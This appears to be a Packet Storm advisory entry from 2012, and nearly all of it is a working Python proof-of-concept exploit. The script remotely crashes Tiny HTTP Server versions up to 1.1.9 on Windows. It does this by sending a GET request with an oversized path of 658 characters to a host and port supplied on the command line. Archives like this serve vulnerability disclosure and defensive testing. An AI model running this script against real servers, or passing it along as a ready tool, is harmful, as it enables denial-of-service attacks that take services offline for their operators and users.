Tiny HTTP Server 1.1.9 Crash

2012-02-25T00:00:00
ID PACKETSTORM:110220
Type packetstorm
Reporter localh0t
Modified 2012-02-25T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# Tiny HTTP Server <=v1.1.9 Remote Crash PoC  
# written by localh0t  
# Date: 24/02/11  
# Contact: mattdch0@gmail.com  
# Follow: @mattdch  
# www.localh0t.com.ar  
# Targets: Windows (All)  
import httplib,sys  
if (len(sys.argv) < 3):  
print "\nTiny HTTP Server <=v1.1.9 Remote Crash PoC"  
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])  
sys.exit()  
payload = "X" * 658  
try:  
print "\n[!] Connecting to %s ..." %(sys.argv[1])  
httpServ = httplib.HTTPConnection(sys.argv[1] , int(sys.argv[2]))  
httpServ.connect()  
print "[!] Sending payload..."  
httpServ.request('GET', "/" + str(payload))  
print "[!] Exploit succeed. Check %s if crashed.\n" %(sys.argv[1])  
except:  
print "[-] Connection error, exiting..."  
httpServ.close()  
sys.exit()  
  
  
`